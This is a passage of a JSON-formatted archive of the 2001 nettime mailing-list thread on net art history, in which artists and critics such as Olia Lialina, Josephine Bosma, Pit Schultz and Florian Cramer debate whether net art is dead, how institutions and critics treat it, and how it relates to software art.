                        "content": "\n\nINTRODUCTION\n\nI check my mail, look at my bank balance, I see myself in\nthe mirror - and I still don't know what you mean by\nfailures and deaths?\n\n\nPART I\n\nNet art failed, in some critics and researchers opinion,\nbecause it didn't take over institutions as was expected.\nCurators, museums and magazines didn't disappear (sorry).\nBut don't you see that net art and net artists changed the\nlandscape of contemporary art? Now, art institutions have to\nlearn to act as nodes (not as a center). And they do. Those\nwho are really open become part of complex networking\nprojects. Those who can't get rid of traditional standards\nof beauty and interactivity entertain their audience by\nmaking links to funny web pages.\n\nAnd Art.Teleportacia --my miserable, small, pale\nArt.Teleportacia gallery-- did a great job. It moved\ncurators of big museums to open their eyes and continue\ntheir work on a new level; with understanding and respect\nfor works that are not objects, works that are not completed\nproducts.\n\nInstitutions correct their positions, collecting policies,\nexhibition practices. I would say it's a victory. And a\nfunny process. It's fun to participate. Fun to observe . And\nfun to completely ignore.\n\n\nPART II\n\nLast September I wrote an article, quite a long one, about\nmy experiences with the \"First Real Net Art Gallery\" and the\n\"Last Real Net Art Museum\". About Famous Net Artists, Real\nNet Artists, Conferences, Objects and ZOOs. But it's in\nRussian <http://www.russ.ru/netcult/20001114_olialia.html>\nand German <http://art.teleportacia.org/du.html>. I'd be\nhappy and grateful if someone would translate it into English.\nTitle \"A Link is Enough\"\n\n\nPART III\n\n\"A Link is Enough\" was published last November in DU\nmagazine. On the next page there was another essay on net\nart, written by Boris Groys. He writes about his vision.\nHe's brilliant. His ideas and comparisons are fresh and\nunexpected, but after a few paragraphs you see that he has\nno understanding of net art and networks. He saw the net art\nat ZKM in the autumn of '99 and thought that net art was a\nlot of connected computers, blinking screens and\nprojections. I have a small quotation with me:\n<http://art.teleportacia.org/wvn/gr.jpg>. I can imagine\nthere are a lot of good and influential writers who still\nthink the same.\n\nIt's a pity.\n\nAnd it's a pity that net art critics who have been working\nin the field since the heroic days have reduced their\nactivity to interviews. Or hurrying and competing to be the\nfirst to announce death and failure. ASCII Paparazzi.\n\nBtw, saying that net art is just beginning isn't very\ndifferent from saying it's dead.\n\n\nPART IV\n\nMy students came back from Transmediale in Berlin and said\nthere was a speaker, Mark America, who was announcing that\nnet art is dead.\n\nfrom Mark Amerika's CV:\n\n\"Amerika was recently appointed to the Fine Arts faculty at\nthe University of Colorado in Boulder where he is developing\nan innovative curriculum in Digital Art.\"\n\nI can already see the development, innovation and result.\nWe'll get a bunch of experts from Colorado writing\nnecrologues.\n\n\nPART V \n\nDiscussions about terminology may seem endless and useless.\nBut I like them and find they create perspective; like a\ntool -a magnifying glass- to look at the present and recent\npast. Recently, during WRO KULTURA, I planned to make a\ntremendous contribution; analysing the development of the\nterms web art, net art, net.art - general terminological\nissues. But I failed because the previous speakers'\nstatements made me change the subject of my talk. These\nsketches are all that's left:\n\n<http://art.teleportacia.org/wvn/1.jpg> \n<http://art.teleportacia.org/wvn/2.jpg> \n<http://art.teleportacia.org/wvn/3.jpg> \n<http://art.teleportacia.org/wvn/4.jpg> \n<http://art.teleportacia.org/wvn/5.jpg>\n\n\nforever yours\n\nolia\n\n-- \nWho benefits from the rumour that net art is dead? \nhttp://art.teleportacia.org/\n\nYour 'W' will be the same 'W' as in original\nWill-n-Testament\nhttp://www.totalmuseum.org/webproject8/w/w.html\n\nWe try to teleport people \nhttp://www.teleportacia.org \nBut without success \nhttp://www.teleportacia.org/report.html\n\nLast Real Net Art Museum \nhttp://myboyfriendcamebackfromth.ewar.ru\n\nDo you keep my photos on your server?\nhttp://art.teleportacia.org/olia.html\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00200",
                        "date": "Mon, 19 Feb 2001 09:35:36 +0300",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102191935.OAA22235 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00200.html",
                        "content-type": "text/plai",
                        "author_name": "olia lialina",
                        "subject": "Re: <nettime> Re: Re: net art history"
                    },
                    {
                        "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                        "content": "\n\nI think the way to approach net art is very much the way Steve Dietz has\napproached the question (that is one of a number of questions that keep\ncoming up): \"Why have there been no great net artists?\" with an essay by\nthe same title.\nhttp://www.walkerart.org/gallery9/webwalker/ww_042300_main.html  So not\napproach it from one particular angle (politics or art history or\ntechnological excellence) but from many angles at once to get a new\npicture of not just net art but of art as a whole. Individual artpieces\ncan be compared to older works of course, but to compare net art as a\nwhole with, say, mail art or performance or whatever will always be\nlacking/failing somewhere. \n\nolia lialina wrote:\n\n> \"A Link is Enough\" was published last November in DU\n> magazine. On the next page there was another essay on net\n> art, written by Boris Groys. He writes about his vision.\n> He's brilliant. His ideas and comparisons are fresh and\n> unexpected, but after a few paragraphs you see that he has\n> no understanding of net art and networks.\n\nSo true. That does not mean his work is not interesting to reflect\ncertain issues. Like for instance there is also a text on interactivity\nin which another theorist, Dieter Daniels, gives a lot of interesting\nthoughts on media art.\nhttp://www.hgb-leipzig.de/~mareio/daniels/daniels_e.html  One should\nsimply read between the lines and project a lot of ones own experiences\non it. What is wrong in this Daniels quote?: \"Bill Clinton's\nsuperhighway electoral campaign in 1992, however, already heralded a\nradical turnabout. In a record period of time, the idea of free network\ncommunications hatched somewhere between hackers, ex-hippies, and a\nsmall avant-garde in art and politics, became the central message of the\nmedia industry. This is why, finally, people forgot what media-assisted\ninteraction and communication was supposed to overcome: nothing other\nthan the hegemony of the media industry as the cause of cultural\nconsumerism.\" It seems as if the biggest problem with theorists and\nacademics is that they know a great deal but they work too little from\nthe situation at hand. What central message of the media industry? And\nthen: were 'media-assisted interaction and communication' supposed to\novercome anything of the media industry in the first place? Such a small\ndifference of thought can have great implications, like for instance it\ncould legalise (taking the thought further into media art theory) the\nneglectance of media art which is simply beautiful. I am not saying we\nshould not be media critical anymore, just net art theory should be\nmulti-facetted. Groys seems to be leaning towards beauty in the\ntraditional sense too much (symbolical objects), Daniels leans towards\nmedia art as political tool. \n \n> And it's a pity that net art critics who have been working\n> in the field since the heroic days have reduced their\n> activity to interviews. Or hurrying and competing to be the\n> first to announce death and failure. ASCII Paparazzi.\n\nerr.... ascii paparazzi? Sorry dear Olia, this is too insulting to come\nfrom you. Anyway, the biggest problem net art journalists and observers\nhave is that we are too few with too much to do. Plus not all the work\nthat is done makes it to the 'central online discourse' but remains\nhidden in local paper press or books. As for the interviews that I\npublish: there are two reasons to publish them. First of all one\ninterview often can give a view of a certain area or field at a specific\ntime that is far more precise then I would be able to describe it in a\ngeneral text. Secondly do I think it is more important to show the\nvariety of works and practices out there right now then it is to write\nanalytical texts about them. If you have little time that is, relatively\nlittle time with the speed of developments now, the explosion of calls\nfor net art works, net art exhibitions and conferences worldwide. Get\nstuff out, that matters! Make curators etc see what goes on, who is out\nthere doing what, give ideas, provoke different angles maybe! The\nproblem with interviews is that one has to transcribe them, which is a\nlot of work. Remember this type of work does not get paid for either,\nwhich is the last thing I would want to complain about, but well... A\nproblem connected to this is that e-terviews are not working as good as\nf2f interviews, whereas combinations of the two are great. So one also\nhas to have the opportunity to meet artists in person (which makes some\npeople feel shut out)\n\n> Btw, saying that net art is just beginning isn't very\n> different from saying it's dead.\n\nThat is a very strange thing to say, and I would say highly subjective.\nI remember your words not so long ago, where you said in a conversation\nthat was published online that you were waiting for the next generation,\nfor those that would say your work is old news! We are now at a time\nwhere we are at a crucial point where net art is about to really break\nthrough, and I mean -understanding- net art is about to break through.\nWhen I look around me at conferences and so forth the questions of both\nthe audiences and the moderators of panels have developed greatly. Is it\nwrong to say this will develop further and that we should be ready for\nit, help with it even? Would you prefer institutions to develop the\ntheory around net art themselves, on their terms, from their point of\nview? \n\n> My students came back from Transmediale in Berlin and said\n> there was a speaker, Mark America, who was announcing that\n> net art is dead.\n> \n> from Mark Amerika's CV:\n> \n> \"Amerika was recently appointed to the Fine Arts faculty at\n> the University of Colorado in Boulder where he is developing\n> an innovative curriculum in Digital Art.\"\n\nSometimes one sees great mistakes in who gets appointed to teach or\njudge art. Mark Amerika is first of all a writer, an experimental\nwriter. He should teach hypertext or something, not digital arts in\ngeneral. His presentation at Transmediale should have been\ncontextualised by his hosts. He knows very little really about net art,\nand he will be used by traditional art professionals to justify\nconservatism.\n\n\n\nbest\n\n\n\nJ\n*\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00201",
                        "date": "Mon, 19 Feb 2001 14:24:01 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102191942.OAA22277 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00201.html",
                        "content-type": "text/plai",
                        "author_name": "Josephine Bosma",
                        "subject": "Re: Re: <nettime> Re: Re: net art history"
                    },
                    {
                        "from": "urphy {AT} thing.net",
                        "content": "\nOn Mon, 19 Feb 2001, olia lialina wrote:\n\n> But don't you see that net art and net artists changed the\n> landscape of contemporary art? Now, art institutions have to\n> learn to act as nodes (not as a center). And they do. \n\nCan't see that has happened much from my perch here in NYC. Maybe in\nEurope that's true. Certainly the Guggenheim is becomming more nodal, but\nthat doesn't have much to do with net art. More like global conquest. \n\nFunny, though, just before your message came through on nettime I'd sent a\nproposal off to the director of an art center suggesting he think of his\ninstitution as a node in a global network. I assumed he'd know what I\nmeant so maybe there has been some change.\n\nThe ZKM net_condition catalogue hit all the bookstores here this weekend,\npiles of them at each so MIT Press must expect it to be a big seller. Too\nbad the text is so hard to read. It looks like all the other \"web design\"\nbooks that have come out the past few years. Still, it does make \"art and\nglobal media\" a topic people pay attention to.\n\n \n> And it's a pity that net art critics who have been working\n> in the field since the heroic days have reduced their\n> activity to interviews. Or hurrying and competing to be the\n> first to announce death and failure. ASCII Paparazzi.\n\nThere's been interest in the \"archaic days\" lately, the period pre-1994\nstretching back to the dawn of humankind. Carl Leoffler's death the other\nday reminded me that his ArtCon newsgroup was one of my first contacts\nwith other artists on the net. I think both Heath Bunting and Brad Brace\nwere there.\n \n> I can already see the development, innovation and result.\n> We'll get a bunch of experts from Colorado writing\n> necrologues.\n\nI think John Hopkins teaches at Boulder off and on. Universities are\nlooking for ways to cash in on digital art. Amerika's use of the phrase\n\"innovative ciriculum\" is a dead giveaway. That's biz talk, not art talk.\nArt students all want to make Jurrasic Park these days.\n\nRob\n\nRobbin Murphy\nDevelopment Director\nTHE THING NYC\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00208",
                        "date": "Mon, 19 Feb 2001 20:23:48 -0500 (EST)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102200951.EAA02193 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00208.html",
                        "content-type": "text/plai",
                        "author_name": "murphy",
                        "subject": "Re: <nettime> Re: Re: net art history"
                    },
                    {
                        "from": "\"Ivan Redi\" <office {AT} ortlos.com>",
                        "content": "\n\nFor me, there is a certain connection between net-art-history and cyberspace\ndiscussion.\nIn both cases there are some incompatibility between the description (or\ndefinition), and the visualization of the phenomena. Or maybe we just don\u0092t\nhave the answer yet (or we do not need it). As an architect I see the world\nmostly in a visual description of some strategical concept of the spatial\nparameters (real and virtual at the same time). One of the major questions\nis about the media one use (and also understanding) to achieve this.\n\nNet.art: is this art in net, or art about net, or hypertext description of\nart, or rhetorical dilemma what art in general should be presented in net.\nDoes it go beyond ugly designed web pages, pure presentation of the canvases\ndone in atelier, boring pages of ASCII dogmas of \u0093something\u0094, technological\nexperiments of things never worked and never will (or if working then\nsimple: 2 web cams and a video beam \u0096 with a load of textual explanations),\nor it has more aesthetical demands than flash opening intro for nike.com\n(although this is a hard topic, therefore I would rather use German word\n\u0093kontrolliertes Gestalten\u0094)?\n\nCyberspace is term coming for the textual description and therefore it is\nalmost impossible to answer: \u0093if there is a space in cyberspace\u0094, at least\nfor our brain to translate it to an image so we can really understand it as\nspace (except for spoiled Hollywood audience in digital SFX sequences in\nsome movies). That is also a main difference between audience and public\n(the audience expects a certain image, and for the public image not present\nand so not really relevant). But, 10 years ago, by showing the artists how\nsurf the Internet, the writers how to use Microsoft Word, and explaining the\narchitects the possibilities of the 3d software and the computer technology\nin general, has been produced a perfect confusion. If you read the work\nmanifestos of some high profile architectural offices (especially in USA),\nyou can find them very funny, because they sound like a bad written (or\ntranslated) user manuals of some programs (for example Maya, 3d Studio,\netc.).\n\nRobbin Murphy writes in a previous posting: \u0093Art students all want to make\nJurrasic Park these days\u0094. Not only art students, but also architectural\nstudents on the first place. Well, the answer is: because it is easy.  It is\nnice and sophisticated to swim in a virtuallity (building on the principles\nof old Rome), because of its endless patience. Endless freedom of creativity\nin a known context.\n\nAs for the architecture as so for the art (net art), the time has come, to\nproduce relevant artistic and cultural content for the future environments.\nWith one, and crucial, difference that we relay on media theory (und\nunderstanding), and not theory of the reinforced concrete (I hear my\ncolleges laughing behind my back). This is not a formal issue.\n\n\nbest regards\n\nivan redi\nortlos.\n\n------------------------------------------------\n#\n# --> o r t l o s  a r c h i t e c t s - oeg <--\n#  experimental architecture & interface design\n# (ivan redi.andrea schroettner.martin fruehwirth)\n#\n#  http://www.ortlos.com\n------------------------------------------------\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00214",
                        "date": "Tue, 20 Feb 2001 12:01:44 +0100",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200102201817.NAA04938 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00214.html",
                        "content-type": "text/plai",
                        "author_name": "Ivan Redi",
                        "subject": "RE: <nettime> Re: Re: net art history"
                    },
                    {
                        "from": "Station Rose <gunafa {AT} well.com>",
                        "content": "\nThis discussion is going on for so long now and is really interesting!\nAlthough I am not as precise with words as I am with visuals, I post here,\ntoo.\nIMHO this is a problem with lists anyway- there are only few postings by\nartists-on their topics.\n\nI am doing netart projects since 92, when we started our first online club\nprojects, in Frankfurt. I remember well that back then there was not one\nart critic who understood what we did there. Dealing with online projects\nbecame a focus much later. So finally when it was a theme for the (net)art\ncritics ca. 95/96, one has to see here clearly that there has been half a\ndecade of net projects already.\n\nNow it is a theme, and I see the next point coming up, which is\nincluding/excluding positions. This not by artists but by critics. It is\nmuch too soon to let something so young die. and who would have the right\nto decide that anyway? Nobody needs an \"inquisition\" here, which decides\nwhat may stay alive and what not. There are enough financial & technical\npoints that have to be solved. An inquisition would kill the new netscene.\nthe capitalistic system comes up with enough obligations, that one can\nfear, sooner or later artists leave the field.\n\nAn example on streaming art in the net: the GEMA (german company who takes\ncare of money musicians get when having air-play on the radio,..) right now\ntries to figure out how much money they can take from webcasters when they\nplay in the net It is not clear if net artists like us have to pay in the\nfuture - not only for  computers and streaming software, but also to GEMA.\nit is absurd. I think, one has to look at these developments.  If we dont\nwant to have only stupid TVprogramms, talkshows and mainstream stuff in the\nnet in another 5 years.\nIt would be unimaginable, when later on one would have to say - forget the\nnet, nothing is happening there anymore. it became cooperate.\n\nI hope that critics find enough time in the realtime environment called\ncyberspace \"to find more great net artists\", go forward and backwards to\ntry to get an overview of 10years and more of net projects.\nAnd artists find enough time and budget to develop many different projects.\n\nAnd I dont see the point that netart is entering the museums. Where is the\nproblem? if the net scene would be powerful enough to let artists live on\nnetart that would be a point, for sure. As long as it is as it is now,\nmuch critizism and not enough money involved, the museums use the time to\nmake their collections.\n\n\n\nJosefine Bosma:\nI think the way to approach net art is very much the way Steve Dietz has\n>approached the question (that is one of a number of questions that keep\n>coming up): \"Why have there been no great net artists?\n\nolia lialina :\n>> My students came back from Transmediale in Berlin and said\n>> there was a speaker, Mark America, who was announcing that\n>> net art is dead.\n>>\nI was at Transmediale, too. The festival was not always stimulating.\nConferences instead of art installations is often too  dry for me. I would\nprefer to see and hear projects, not only get words/descriptions of\nsomething. i hope this will happen more next year. And here again\" net art\nis dead\" as a slogan is problematic.\n\n\nElisa Rose\n\n----------------------------------------------------\nSTATION ROSE hypermedia (Elisa Rose & Gary Danner)\n* LIVE-webcasting at <http://www.stationrose.com>\n    tonite  TUE 20.2.01, 9pm CET with Force Inc. label\n* \"private://public\"- the new book  ISBN : 3-85266-114-5\n    STR in conversation with Geert Lovink,  Bazon Brock, Birgit Richard,\nStefan Weber,\n   Thomas Feuerstein, Josephine Bosma a.o.\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00216",
                        "date": "Tue, 20 Feb 2001 14:16:10 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102202107.QAA07853 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00216.html",
                        "content-type": "text/plai",
                        "author_name": "Station Rose",
                        "subject": "Re: Re: <nettime> Re: Re: net art history"
                    },
                    {
                        "from": "Cornelia Sollfrank <cornelia {AT} snafu.de>",
                        "content": "\nhi all,\n\nit is interesting to see what issues trigger response and create a\ndiscussion on this mailing list. i have to say that i am very pleased to\nsee that it is art. (that the discussion mainly refers to /net.art resp.\nit's /death is very limited und little productive.) some years ago nettime\nwas accused of being a hostile environment for artists/art discussions.\nthis was the reason why most of them/us left at a certain point and opened\ntheir own list/network/environment. \n\nnow it has become an issue to reflect upon what actually has happenend in\nthis field in the last years. and this discussion takes place on, amongst\nother venues, (verified) nettime, again. obviuosly, this is still/again a\nplatform where enough people gather who did not give up, resign, and stop\nthinking and acting, although we all have learned the lesson meanwhile: the\nnet would not change the world in the way we had wanted to, in the\nopposite! and, of minor relevance, the net would not change the\nfundamentally profit-driven and corrupt art system.   \n\ni am not sure if net art(ists) ever had 'promised' such a thing, or if it\nmore had been a wishful projection. anyway, there was/is an enormous\nsubversive potential in the net which untermined/s art-system-parameters as\n(identifieable)(individual) authorship, (finalised) piece of work, white\ncube-ism, purchaseability etc. there are/have been various\n(serious/playful) ways to handle this potential. \n\nbut even these individuals who have connected to the art system with their\nnames, pieces of work, museum/gallery presentations and sales (very few)\nare confronted with the fact that, so far, no adequate ways of presentation\ncould have been developed for the white cube, and that the selling of pure\ndata (what 'net art pieces' mostly are) leaves the art market quite\nhelpless. this gives evidence for the subbornness which lies in the\nartistic use of the medium. the fact that some high-end works have been\ncommissioned by museums, or that serious efforts are being made to collect\nnet based works does not mean at all, that net art per se could have been\nintegerated into the system. \n\nbut this is also the reason why net based art has been developed further,\nin more art system adequate formats, as there are various kinds of\ninstallations, starting with sculptural \"browers\", going to\npleasing/colorful data projections, and a range of re-materialisations of\ndata. this is probably the most promising (and, of course, a very boring)\nway to become a professional 'net artist'.\n\ni also agree with pit's elaborations in many points. i.e that we generally\nunderestimate the value of the net-based works, and that their relevance\nhas to be seen within their historical framework. \n\nnow is now, and not net.art. but even if it has no name what is happening,\nand even if the general implementation of 'a new art form' did not take\nplace, there is endless ways to go on with resistant and subborn, political\nand aestehtic practices. the informational sphere is still quite\nunprotected, and we have powerful tools. ...\"continue working in the\nspirit...\" \n\nbest, c.\n\n\n\n \n\n\n\n\n\n::::::::::::::\"A smart artist makes the machine do the work\":::::::::::::::::::\n:::::::::::::: _____________________________:::::::::::net.art generator:::::::\n:::::::::::::: http://www.obn.org/generator::::::::::::::::::::::::::::::::\n Cornelia Sollfrank  |  Duncan of Jordanstone University |  Dundee |  Scotland \n\n\n----- End forwarded message -----\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00229",
                        "date": "Wed, 21 Feb 2001 15:25:07 +0000",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102212203.RAA22681 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00229.html",
                        "content-type": "text/plai",
                        "author_name": "Cornelia Sollfrank",
                        "subject": "Re: Re: Re: <nettime> Re: Re: net art history"
                    }
                ],
                "message-id": "200102151843.NAA00396 {AT} bbs.thing.net",
                "date": "Thu, 15 Feb 2001 12:39:30 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Pit Schultz <pit {AT} klubradio.de>",
                "content": "\nmaybe someone of you read erik davis' last book, in which he names the\ngreat antagonist of our times \"hermes\", the trickster, god of trade\nand thiefs, and god of communication. michel serres, also a\nkind of half-god in the academic sense, made him the hero of his studies.\nthis figure, maybe a data dandy, parasite and prankster,\nmaybe a guy formally called an artist, but certainly out to make fun\nand profit of all of you who try to get him, was probably the god\nof net.art too.\n\nlet's assume that the 'failure of net.art' was some kind of\nauto-destructive program inbuilt from the beginning for the purpose\nof vanishing in the moment of capture. this makes the difficulty\nmore explainable interpretators seem to have, as well as\nthe institutional system or even the art market in making profits\nwith net.art.\n\nthe love for crap (the bla project), the somewhat cynical game about\nthe end beeing near (time to remain to go crazy). the utterly sad\nsound of a computer who is brought to try to sing (386dx), or the\nformalistic absurdities of artful html-form art, just taking one of\nthem, alexei as an example, is *playing tricks* with the context which\nconstructs these works. you could say very similar things for jodi,\nvuk, heath, olia and many others.\n\ni think we are completly underestimating the complex value of these\nworks, that they were partially constructed by the way they were\nviewed by 'the community'. their fine intercommunication with their\nfans and interpretors, replying to texts and ideas, or surfers who\nrandomly came by, curators who were more than clever to call this a kind of\nself-promotion, a community of friends of the international conference\ncircus before the rather dull dot.com phase, made net.art a more than\nlucky coincidence of some people doing art which hasn't to be called\nart anymore. walking through the institutions it revealed often\ninsights in the way these institutions work.\n\nremaining is not an autonomous art form, but a complex but as well\nprecise body of works which represent a certain social time of the\nnet, viewed from a specific angle. net.art therefore could be\nexplained in a second, third, or n-th order, but is itself a kind of\nthick description of what happened in that time. and the more this\ntime vanishes it becomes clear that net.art reveals and critiques very\nwell the all too human pathos of the radical new, the vanities,\ndesires and dreams of a cyberspace which only happend in our\nimagniations, but nevertheless happened.\n\nback then in the early nineties, at the same time when other artists\ndiappeared from the field of institutional critique or the so called\ncontext art, to start clubs, or record labels, bakeries, do book\nprojects or movies.. when the web took off these loose groups were\njust ready to use it for their own purposes. it was more then a way to\nbecome famous. from the beginning a sense of satyrist critique and\nscepticism towards technology drove net.art combined with the\nexistential experience that utopia is possible insofar that very\nunlikly changes can happen. the east-west dialogue is maybe one of the\nsubstantial geographical elements of net.art. plus a disrespect for\nauthority and the old and new orders of knowledge, artistic interest\nto bring the matter of the medium, the code, to its limits within a\nlarger sense then just programming, playing with the echoes of the\navant-garde net.art only simulated the existence of a group, it was\nrather an open aliance, and even today one can continue to work in the\nspirit of this practise.\n\nlaughing about ideologies, the grand ideas, and a calculated\nanarchic fun of expanding and augmenting vision not just by\nthe means of technology but by manipulating the expextations\nof people using them, highlighting the limits and errors of\nthe internet myths makes net.art 'human' in a post-humanistic\nsense.- it describes the complexity of the net.condition exactly\nwithout canonizing it but in an open ended narrative. a rather\nfirst-hand and therefore rare knowledge about contemporary art\nand its history *) helped and just gave a explosive package to\nmerge with the nettimers for a little while and along other\nstations and splittings.\n\nto demand now, why not more artists are put into the heaven of\nnet-dot-art is understandable but neverteless futile. we speak already\nabout the past. of course one can try to overwrite history, by inventing\na genre of 'artistic software' and neglect that groups like jodi or iod\nfor example started a whole \"do it yourself - school\" of understanding\ncode and the visual layers plus its social context as one thing,\ntactically including bits of programming language. an approach now\nvery viral on the microsound levels of electronic music.\n\nof course you can say net.art is dead, and do your books and\ncatalogues, but chances are high that these efforts are useless\nand are just feeding a even more vivid zombie. somewhere\nsomeone else might understand something, and use the label\nto do another post-post avant-garde hack, temporary of course,\nbut nevertheless a source of many very constructive\nmisunderstandings. sometimes, one can still hear the laughter.\n\n\n*)\nfor the history net.art provided its own interpretation,\nthe 'classics of net.art'. the historification was a\nconstant theme, so many of the works are beeing done\nin the sense of \"it will have been seen as\" (futur II)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00207",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00207.html",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200102200727.CAA32620 {AT} bbs.thing.net",
                "date": "Mon, 19 Feb 2001 01:00:27 +0100",
                "list": "nettime_l",
                "author_name": "Pit Schultz",
                "subject": "Re: <nettime>net.art-history"
            },
            {
                "from": "{ brad brace } <bbrace {AT} eskimo.com>",
                "content": "\n\nOn Mon, 19 Feb 2001, Pit Schultz wrote:\n\n> [...]\n>\n> for the history net.art provided its own interpretation,\n> the 'classics of net.art'. the historification was a\n> constant theme, so many of the works are beeing done\n> in the sense of \"it will have been seen as\" (futur II)\n\nQuite accurate... The vast majority of 'creatives' online then and now,\nwere indeed gleefully side-stepping the oldartworld's incestuous,\noppressive institutions and its parasitical 'critical careerists' (I liked\n\"ascii paparazzi!\" =)). The \"classic net-artists\" were merely a few of the\nfirst to (regressively) behave online like our regular\n\"make-art-for-museums artists,\" and sure enough, the whole ol' tired\ninsidious art-institutional entourage was quick to swallow the bait. But\nhow interesting is that? \n\n/:b\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00211",
                "list": "nettime_l",
                "date": "Tue, 20 Feb 2001 01:54:16 -0800 (PST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200102201813.NAA04875 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00211.html",
                "content-type": "text/plai",
                "author_name": "{ brad brace }",
                "subject": "Re: [Nettime-bold] Re: <nettime>net.art-history"
            },
            {
                "from": "Robert Atkins <robertatkins {AT} earthlink.net>",
                "content": "\nOlia Lialiana's comments about interviews seem really off the mark to me. Do\ninterviews dominate critics' output? I don't think so, certainly not based\non the huge pile of anthologies about online and digital art that are piled\nup in my office.  Personally, I do both and think there's a place for both.\nBut it's ironic hearing that  there are too many interviews, after decades\nof artists complaining they never get to put their views forth in a direct\nway.\n\nYou should also bear in mind, Olia, that there's not that much of a market\nout there for criticism remunerative enough that it helps pay the bills.\nInterviews are far less labor-intensive, and often research for later, more\nin-depth responses. So it's not an either/or situation. More often it's\npublishing an interview or nothing at all.\n\nCheers,\nRobert Atkis \n\neditor: Artery: The AIDS-Arts Forum <www.artistswithaids.org/artery>\nmedia arts editor: The Media Channel <www.mediachannel.org>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00250",
                "list": "nettime_l",
                "date": "Sat, 24 Feb 2001 11:50:39 -0500",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "200102250022.TAA22982 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00250.html",
                "content-type": "text/plai",
                "author_name": "Robert Atkins",
                "subject": "re: <nettime> net art history"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <paragram {AT} gmx.net>",
                "content": "\n\n> Pit Schultz:\n> \n> > about the past. of course one can try to overwrite history, by inventing\n> > a genre of 'artistic software' and neglect that groups like jodi or iod\n> > for example started a whole \"do it yourself - school\" of understanding\n> > code and the visual layers plus its social context as one thing,\n> > tactically including bits of programming language. an approach now\n> > very viral on the microsound levels of electronic music.\n\nHi Pit,\n\nin my opinion, it's the other way round - that the genre 'artistic\nsoftware'/'software art' was invented to _honor_ the code art of\nJodi, I/O/D and others. 'Software art' does not overwrite the history of\nnet.art, it just adds one more perspective from which digital art can be\nseen. \n\nWhen we describe jodi.org or I/O/D's Web Stalker as net.art, we put it in a\nparticular context of a networked discourse we all know very well (and which\nincludes this mailing list). To say that they are also great pieces of\nsoftware art doesn't rule this out, but allows to draw new connections _in\naddition_ to the previously mentioned; connections to, say, 2600-style\ncomputer hacking, 1950/60s computer-generated concrete poetry, to artistic\ncomputer viruses like the 1988 MacMag virus, sourcecode poetry (which\nstarted as early as 1974), to pre-Web experimental HyperCard stacks, or to\nAde Ward's \"Signwave Illustrator\" <http://www.signwave.co.uk> (which, as an\noffline standalone user 